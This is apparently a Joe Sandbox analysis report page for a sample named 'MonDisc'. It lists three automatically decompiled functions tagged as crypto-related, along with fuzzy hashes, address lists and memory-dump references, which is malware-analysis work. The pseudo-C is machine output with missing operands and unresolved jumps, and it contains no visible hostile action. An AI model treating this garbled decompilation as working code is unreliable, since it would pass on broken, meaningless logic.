Instruction Fuzzy Hash: 17125533B186A246E7608E29D440BF97B91FB85B4CF088135DE8DCBB85EE3ED4468715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED155920 Relevance: .4, Instructions: 414
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6ED155920(signed int __rcx, signed int __rdx, void* __r8, signed int* __r9, long long _a16, signed int _a40) {
				void* _v64;
				char _v72;
				long long _v88;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t59;
				signed int _t71;
				unsigned int _t77;
				signed int _t80;
				signed int _t82;
				intOrPtr _t83;
				signed short _t89;
				signed long long _t108;
				signed long long _t110;
				signed long long _t113;
				long long _t114;
				signed long long _t122;
				signed long long _t126;
				signed long long _t130;
				signed long long _t131;
				void* _t134;
				intOrPtr _t144;
				intOrPtr* _t149;

				_a16 = __rdx;
				_t149 = __rcx;
				r8d = 0x11;
				if (r10d - 0xfffffff2 >= 0) goto 0xed155970;
				_a40 = _a40 | 0x00000002;
				r8d = 0xe;
				goto 0xed155dd9;
				if (r10d != 0xfffffff5) goto 0xed155a5f;
				_t114 =  *__rcx;
				_t130 =  *__r9 & 0xffffffff;
				_t108 = __rdx + __rdx * 2;
				r8d =  *(_t114 + _t108 * 8);
				if ((r8d & 0xf0800000) != 0x20800000) goto 0xed1559ae;
				_t52 =  !=  ?  *(_t130 + 0xa) & 0x0000ffff : r8w & 0xffffffff;
				_t85 =  !=  ?  *(_t130 + 0xa) & 0x0000ffff : r8w & 0xffffffff;
				if (( *(_t114 + (_t108 + _t108 * 2) * 8) & 0xf0000000) != 0x80000000) goto 0xed1559ec;
				_t110 = __rcx + __rcx * 2;
				_t77 =  *(_t114 + _t110 * 8);
				if ((_t77 & 0xf0000000) == 0x80000000) goto 0xed1559d0;
				r9d = _t77;
				if (_t77 >> 0x1c != 6) goto 0xed155a45;
				_t86 = ( !=  ?  *(_t130 + 0xa) & 0x0000ffff : r8w & 0xffffffff) | 0x00030000;
				_t23 = _t110 + 2; // 0x32
				r8d = _t23;
				_t87 = (( !=  ?  *(_t130 + 0xa) & 0x0000ffff : r8w & 0xffffffff) | 0x00030000) + 0x20000000;
				_t59 = E00007FF67FF6ED10F630((( !=  ?  *(_t130 + 0xa) & 0x0000ffff : r8w & 0xffffffff) | 0x00030000) + 0x20000000, _t110, _t114, __rcx, __rdx, _t130, __rdx, __r9);
				r8d = _t59;
				_t126 = (__rdx >> 2 >> 0x3f) + (__rdx >> 2) + ((__rdx >> 2 >> 0x3f) + (__rdx >> 2)) * 2;
				_t134 =  *__rcx + _t126 * 8;
				goto 0xed155dd9;
				if (_t59 * (__rdx - _t114) != 5) goto 0xed155de8;
				goto 0xed155de8;
				if (r10d != 0xfffffffb) goto 0xed155b59;
				_t131 = _t130 & 0xffffffff;
				if (( *_t126 & 0xf0000000) != 0x50000000) goto 0xed155ac9;
				_v88 = _t114;
				_t122 = __rcx;
				E00007FF67FF6ED10F160(0xffffffff, _t114, __rcx, _t126, _t134, __r9, _t131,  &_v72);
				if (0xffffffff == 0) goto 0xed155e45;
				_t89 =  *0xffffffff;
				_t80 = _t89 & 0xf0000000;
				if (_t80 != 0xb0000000) goto 0xed155e45;
				r8d = _t89 & 0x0000ffff;
				goto 0xed155dd9;
				if ((_t80 & 0xfc000000) != 0x30000000) goto 0xed155b42;
				_t144 =  *_t149;
				_t113 = _t122 + _t122 * 2;
				_t82 =  *(_t144 + _t113 * 8);
				if ((_t82 & 0xf0000000) == 0x80000000) goto 0xed155ae0;
				if ((_t82 & 0xfc000000) != 0) goto 0xed155e45;
				if ((_t144 + _t113 * 8)[1] != 1) goto 0xed155e45;
				_t83 =  *((intOrPtr*)(_t134 + 4));
				if (_t83 == 0) goto 0xed155b24;
				_t71 =  <  ? _t83 :  *((intOrPtr*)(_t131 + 0x14)) + 1;
				r8d = _t71;
				E00007FF67FF6ED175500();
				return _t71;
			}

0x7ff6ed155920
0x7ff6ed15594b
0x7ff6ed15594e
0x7ff6ed155958
0x7ff6ed15595a
0x7ff6ed155965
0x7ff6ed15596b
0x7ff6ed155974
0x7ff6ed15597a
0x7ff6ed155987
0x7ff6ed155992
0x7ff6ed155996
0x7ff6ed1559a9
0x7ff6ed1559b2
0x7ff6ed1559b5
0x7ff6ed1559ce
0x7ff6ed1559d3
0x7ff6ed1559d7
0x7ff6ed1559ea
0x7ff6ed1559ee
0x7ff6ed1559f7
0x7ff6ed1559f9
0x7ff6ed1559ff
0x7ff6ed1559ff
0x7ff6ed155a03
0x7ff6ed155a0c
0x7ff6ed155a14
0x7ff6ed155a34
0x7ff6ed155a3c
0x7ff6ed155a40
0x7ff6ed155a48
0x7ff6ed155a5a
0x7ff6ed155a63
0x7ff6ed155a75
0x7ff6ed155a84
0x7ff6ed155a90
0x7ff6ed155a95
0x7ff6ed155a98
0x7ff6ed155aa0
0x7ff6ed155aa6
0x7ff6ed155aaa
0x7ff6ed155ab6
0x7ff6ed155ac0
0x7ff6ed155ac4
0x7ff6ed155ad5
0x7ff6ed155ad7
0x7ff6ed155ae3
0x7ff6ed155ae7
0x7ff6ed155afb
0x7ff6ed155b08
0x7ff6ed155b12
0x7ff6ed155b18
0x7ff6ed155b1d
0x7ff6ed155b21
0x7ff6ed155b24
0x7ff6ed155b2e
0x7ff6ed155b41

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 980d9de0f57af75a8eea2e47dea83bbb06183552f07600b681f571d13757f2a1
Instruction ID: 85b735ed3ace59bf800e04fec4e01ea7eecc13f416a4ff525c825a3ddb0ee4e1
Opcode Fuzzy Hash: 980d9de0f57af75a8eea2e47dea83bbb06183552f07600b681f571d13757f2a1
Instruction Fuzzy Hash: 43E1F173B08A4786FA648E15A4803F86690EB45BB0F540336DA6EC77D0EE3EE591C706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13D820 Relevance: .4, Instructions: 370
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00007FF67FF6ED13D820(long long __rbx, void* __rcx, signed char* __rdx, long long __rsi, long long __rbp, unsigned int* __r8, signed long long __r9, unsigned int __r10, void* __r11, long long _a8, long long _a16, long long _a24) {
				void* _t49;
				unsigned int _t51;
				unsigned int _t52;
				unsigned int _t53;
				signed char _t85;
				unsigned int _t104;
				signed int _t105;
				signed int _t117;
				void* _t124;
				void* _t126;
				void* _t129;
				void* _t134;
				void* _t140;
				void* _t141;
				signed int _t143;
				intOrPtr _t146;
				intOrPtr _t153;
				unsigned long long _t155;
				unsigned long long _t161;
				intOrPtr* _t165;
				intOrPtr _t166;
				intOrPtr _t181;
				signed long long _t185;

				_t185 = __r9;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t117 = r9d;
				if (r9d == 0) goto 0xed13daf7;
				r8d = _t117;
				E00007FF67FF6ED174DE0(_t49, 1, __rdx, __rdx, __r8);
				_t165 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x80)) + 0x40));
				if (_t165 == 0) goto 0xed13d897;
				_t146 =  *((intOrPtr*)(__rcx + 0x80));
				_t153 =  *((intOrPtr*)(_t165 + 0x20));
				_t181 =  *((intOrPtr*)(_t146 + 0x20));
				if (_t153 - _t181 < 0) goto 0xed13d897;
				_t155 = _t153 - _t181 >> 3;
				__rdx[_t155] = 0;
				_t166 =  *_t165;
				if (_t166 != 0) goto 0xed13d870;
				asm("o16 nop [eax+eax]");
				_t51 =  *__r8;
				r9d = _t51 & 0x000000ff;
				r10d = _t51;
				_t124 = ( *(0xed20b760 + _t185 * 2) & 0x78) - 0x18;
				if (_t124 != 0) goto 0xed13d8d5;
				__rdx[_t155 >> 0x18] = __rdx[_t155 >> 0x18] & 0x000000fe;
				if (_t124 == 0) goto 0xed13d9cb;
				if (_t124 == 0) goto 0xed13d981;
				if (_t124 == 0) goto 0xed13d90a;
				if (_t124 == 0) goto 0xed13dbfe;
				if ((( *(0xed20b760 + _t185 * 2) & 0x0000ffff) >> 0x00000007 & 0x0000000f) - 0xfffffffffffffffa == 1) goto 0xed13d918;
				goto 0xed13d9d9;
				_t126 = _t185 - 0x51 - 6;
				if (_t126 > 0) goto 0xed13d95f;
				asm("bt ebp, ecx");
				if (_t126 >= 0) goto 0xed13d95f;
				r8d = _t51 >> 0x00000008 & 0x000000ff;
				if (_t185 - 0x4d - 4 <= 0) goto 0xed13dbc9;
				if (_t185 - 0x52 - 2 <= 0) goto 0xed13dbbc;
				_t129 = r9d - 0x32;
				if (_t129 != 0) goto 0xed13dbcd;
				if (_t129 < 0) goto 0xed13dbfe;
				goto 0xed13d9d9;
				if (_t185 - 0x49 - 3 > 0) goto 0xed13d9d9;
				r10d = r10d >> 8;
				if (r9d != 0x49) goto 0xed13dc05;
				r9d = _t117;
				goto 0xed13dc0f;
				r8d = _t51 >> 0x00000010 & 0x000000ff;
				_t104 = _t51 >> 0x18;
				if (_t104 - r8d > 0) goto 0xed13d99f;
				 *(_t166 + __rdx) =  *(_t166 + __rdx) & 0x000000fe;
				_t105 = _t104 + 1;
				if (_t105 - r8d <= 0) goto 0xed13d994;
				_t134 = _t105 - _t117;
				if (_t134 >= 0) goto 0xed13d9d9;
				r8d = _t105;
				r11d = _t117;
				_t182 = _t181 + __rdx;
				r11d = r11d - _t105;
				 *((char*)( &(_t182[1]) - 1)) = ( *(_t181 + __rdx) & 0x000000ff) + ( *(_t181 + __rdx) & 0xff) + ( *(_t181 + __rdx) & 0xff);
				if (_t134 != 0) goto 0xed13d9b0;
				goto 0xed13d9d9;
				_t161 = __r10 >> 0x10;
				__rdx[_t161] = __rdx[_t161] & 0x000000fe;
				if (_t134 == 0) goto 0xed13db94;
				if (_t134 == 0) goto 0xed13da09;
				if (( *(0xed20b760 + _t185 * 2) & 7) != 1) goto 0xed13d8b0;
				_t52 = r10b & 0xffffffff;
				 *(_t146 + __rdx) =  *(_t146 + __rdx) & 0x000000fe;
				goto 0xed13d8b0;
				if (_t185 - 0x41 - 5 > 0) goto 0xed13db12;
				if ((_t185 - 0x00000041 & 0xfffffffd) == 0) goto 0xed13da3d;
				_t85 = _t52 >> 0x10;
				if (_t85 == 0) goto 0xed13da3d;
				_t53 = _t52 >> 8;
				r10d = _t53 & 0x000000ff;
				r10d = r10d + 1;
				r10d = r10d + (_t85 & 0x000000ff);
				goto 0xed13da43;
				r10d = _t117;
				r11d = _t53 >> 0x00000008 & 0x000000ff;
				r8d = r11d;
				 *(_t166 + __rdx) = ( *(_t146 + __rdx) & 0x000000ff) + ( *(_t146 + __rdx) & 0xff) + ( *(_t146 + __rdx) & 0xff);
				_t89 =  >  ? 0 : 3;
				r8d = r8d - ( >  ? 0 : 3);
				_t140 = r8d - r10d;
				if (_t140 >= 0) goto 0xed13da9d;
				r8d = r10d;
				__rdx[_t161] = __rdx[_t161] & 0x000000fe;
				if (_t140 != 0) goto 0xed13da90;
				_t141 = r8d - _t117;
				if (_t141 >= 0) goto 0xed13dac7;
				_t168 = _t166 - 1 + __rdx;
				r8d = _t117 - r8d;
				 *((char*)( &(_t168[1]) - 1)) = ( *(_t166 - 1 + __rdx) & 0x000000ff) + ( *(_t166 - 1 + __rdx) & 0xff) + ( *(_t166 - 1 + __rdx) & 0xff);
				if (_t141 != 0) goto 0xed13dab0;
				if (_t185 - 0x43 - 1 > 0) goto 0xed13d8b0;
				_t143 = r11d;
				if (_t143 == 0) goto 0xed13daf7;
				 *((char*)( &(__rdx[1]) - 1)) = ( *__rdx & 0x000000ff) + ( *__rdx & 0xff) + ( *__rdx & 0xff);
				if (_t143 != 0) goto 0xed13dae0;
				return 0;
			}

0x7ff6ed13d820
0x7ff6ed13d820
0x7ff6ed13d825
0x7ff6ed13d82a
0x7ff6ed13d838
0x7ff6ed13d847
0x7ff6ed13d84d
0x7ff6ed13d858
0x7ff6ed13d864
0x7ff6ed13d86b
0x7ff6ed13d870
0x7ff6ed13d877
0x7ff6ed13d87b
0x7ff6ed13d882
0x7ff6ed13d887
0x7ff6ed13d88b
0x7ff6ed13d88f
0x7ff6ed13d895
0x7ff6ed13d8a5
0x7ff6ed13d8b0
0x7ff6ed13d8b7
0x7ff6ed13d8bb
0x7ff6ed13d8c6
0x7ff6ed13d8c9
0x7ff6ed13d8d1
0x7ff6ed13d8e3
0x7ff6ed13d8ec
0x7ff6ed13d8f5
0x7ff6ed13d8fa
0x7ff6ed13d903
0x7ff6ed13d905
0x7ff6ed13d90e
0x7ff6ed13d911
0x7ff6ed13d913
0x7ff6ed13d916
0x7ff6ed13d91d
0x7ff6ed13d928
0x7ff6ed13d935
0x7ff6ed13d93b
0x7ff6ed13d93f
0x7ff6ed13d953
0x7ff6ed13d95d
0x7ff6ed13d966
0x7ff6ed13d968
0x7ff6ed13d973
0x7ff6ed13d979
0x7ff6ed13d97c
0x7ff6ed13d988
0x7ff6ed13d98c
0x7ff6ed13d992
0x7ff6ed13d994
0x7ff6ed13d998
0x7ff6ed13d99d
0x7ff6ed13d99f
0x7ff6ed13d9a1
0x7ff6ed13d9a3
0x7ff6ed13d9a6
0x7ff6ed13d9a9
0x7ff6ed13d9ac
0x7ff6ed13d9bf
0x7ff6ed13d9c7
0x7ff6ed13d9c9
0x7ff6ed13d9ce
0x7ff6ed13d9d5
0x7ff6ed13d9e4
0x7ff6ed13d9ed
0x7ff6ed13d9f2
0x7ff6ed13d9fc
0x7ff6ed13da00
0x7ff6ed13da04
0x7ff6ed13da10
0x7ff6ed13da20
0x7ff6ed13da24
0x7ff6ed13da2c
0x7ff6ed13da2e
0x7ff6ed13da31
0x7ff6ed13da35
0x7ff6ed13da38
0x7ff6ed13da3b
0x7ff6ed13da3d
0x7ff6ed13da43
0x7ff6ed13da47
0x7ff6ed13da62
0x7ff6ed13da6a
0x7ff6ed13da6d
0x7ff6ed13da70
0x7ff6ed13da73
0x7ff6ed13da81
0x7ff6ed13da90
0x7ff6ed13da9b
0x7ff6ed13da9d
0x7ff6ed13daa0
0x7ff6ed13daa7
0x7ff6ed13daad
0x7ff6ed13dabe
0x7ff6ed13dac5
0x7ff6ed13dace
0x7ff6ed13dad4
0x7ff6ed13dad7
0x7ff6ed13daee
0x7ff6ed13daf5
0x7ff6ed13db11

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e10a5ad41c5c41d729184a484362c48df949c8b44489a2eeabd370bdef9044
Instruction ID: f00a9fa0d219e7d57b855adab8ef3466f811cf5655367f8032be90b538e97699
Opcode Fuzzy Hash: d2e10a5ad41c5c41d729184a484362c48df949c8b44489a2eeabd370bdef9044
Instruction Fuzzy Hash: ECD19D63F2C5E343EB154E2988187FC7B91EB93790F15A235C68A87AC5ED2EE409C305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED110F30 Relevance: .2, Instructions: 233
COMMONCrypto

Download Yara Rule

C-Code - Quality: 39%

			E00007FF67FF6ED110F30(void* __eax, void* __eflags, void* __rcx, intOrPtr* __rdx) {
				long long* _t184;
				long long* _t201;

				_t201 =  *((intOrPtr*)(__rcx + 0x28));
				asm("xorps xmm0, xmm0");
				 *_t201 = 0;
				 *((long long*)(__rcx + 0x28)) = _t201 + 0x10;
				 *((long long*)(_t201 + 8)) = 0;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				asm("xorps xmm0, xmm0");
				asm("repne dec eax");
				asm("movsd [eax], xmm0");
				_t184 =  *((intOrPtr*)(__rcx + 0x28)) + 8;
				 *((long long*)(__rcx + 0x28)) = _t184;
				 *_t184 =  *((intOrPtr*)(__rdx));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111104;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 8));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111125;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x10));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111146;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x18));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111167;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x20));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111188;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x28));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1111a9;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x30));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1111ca;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x38));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1111eb;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x40));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed11120c;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x48));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed11122d;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x50));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed11124e;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x58));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed11126f;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x60));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed111290;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x68));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1112b1;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x70));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1112d2;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) =  *((intOrPtr*)(__rdx + 0x78));
				asm("movsd xmm0, [eax]");
				asm("ucomisd xmm0, xmm0");
				if (__eflags != 0) goto 0xed1112f3;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x28)))) = 0;
				 *((long long*)(__rcx + 0x28)) =  *((long long*)(__rcx + 0x28)) + 8;
				return __eax;
			}

0x7ff6ed110f30
0x7ff6ed110f37
0x7ff6ed110f44
0x7ff6ed110f4b
0x7ff6ed110f4f
0x7ff6ed110f53
0x7ff6ed110f5c
0x7ff6ed110f60
0x7ff6ed110f63
0x7ff6ed110f68
0x7ff6ed110f75
0x7ff6ed110f79
0x7ff6ed110f7c
0x7ff6ed110f81
0x7ff6ed110f8e
0x7ff6ed110f92
0x7ff6ed110f95
0x7ff6ed110f9a
0x7ff6ed110fa7
0x7ff6ed110fab
0x7ff6ed110fae
0x7ff6ed110fb3
0x7ff6ed110fc0
0x7ff6ed110fc4
0x7ff6ed110fc7
0x7ff6ed110fcc
0x7ff6ed110fd9
0x7ff6ed110fdd
0x7ff6ed110fe0
0x7ff6ed110fe5
0x7ff6ed110ff2
0x7ff6ed110ff6
0x7ff6ed110ff9
0x7ff6ed110ffe
0x7ff6ed11100b
0x7ff6ed11100f
0x7ff6ed111012
0x7ff6ed111017
0x7ff6ed111024
0x7ff6ed111028
0x7ff6ed11102b
0x7ff6ed111030
0x7ff6ed11103d
0x7ff6ed111041
0x7ff6ed111044
0x7ff6ed111049
0x7ff6ed111056
0x7ff6ed11105a
0x7ff6ed11105d
0x7ff6ed111062
0x7ff6ed11106f
0x7ff6ed111073
0x7ff6ed111076
0x7ff6ed11107b
0x7ff6ed111088
0x7ff6ed11108c
0x7ff6ed11108f
0x7ff6ed111094
0x7ff6ed1110a1
0x7ff6ed1110a5
0x7ff6ed1110a8
0x7ff6ed1110ad
0x7ff6ed1110ba
0x7ff6ed1110be
0x7ff6ed1110c7
0x7ff6ed1110ca
0x7ff6ed1110dd
0x7ff6ed1110e8
0x7ff6ed1110ec
0x7ff6ed1110f0
0x7ff6ed1110f7
0x7ff6ed1110fb
0x7ff6ed1110ff
0x7ff6ed111101
0x7ff6ed111104
0x7ff6ed111111
0x7ff6ed111118
0x7ff6ed11111c
0x7ff6ed111120
0x7ff6ed111122
0x7ff6ed111125
0x7ff6ed111132
0x7ff6ed111139
0x7ff6ed11113d
0x7ff6ed111141
0x7ff6ed111143
0x7ff6ed111146
0x7ff6ed111153
0x7ff6ed11115a
0x7ff6ed11115e
0x7ff6ed111162
0x7ff6ed111164
0x7ff6ed111167
0x7ff6ed111174
0x7ff6ed11117b
0x7ff6ed11117f
0x7ff6ed111183
0x7ff6ed111185
0x7ff6ed111188
0x7ff6ed111195
0x7ff6ed11119c
0x7ff6ed1111a0
0x7ff6ed1111a4
0x7ff6ed1111a6
0x7ff6ed1111a9
0x7ff6ed1111b6
0x7ff6ed1111bd
0x7ff6ed1111c1
0x7ff6ed1111c5
0x7ff6ed1111c7
0x7ff6ed1111ca
0x7ff6ed1111d7
0x7ff6ed1111de
0x7ff6ed1111e2
0x7ff6ed1111e6
0x7ff6ed1111e8
0x7ff6ed1111eb
0x7ff6ed1111f8
0x7ff6ed1111ff
0x7ff6ed111203
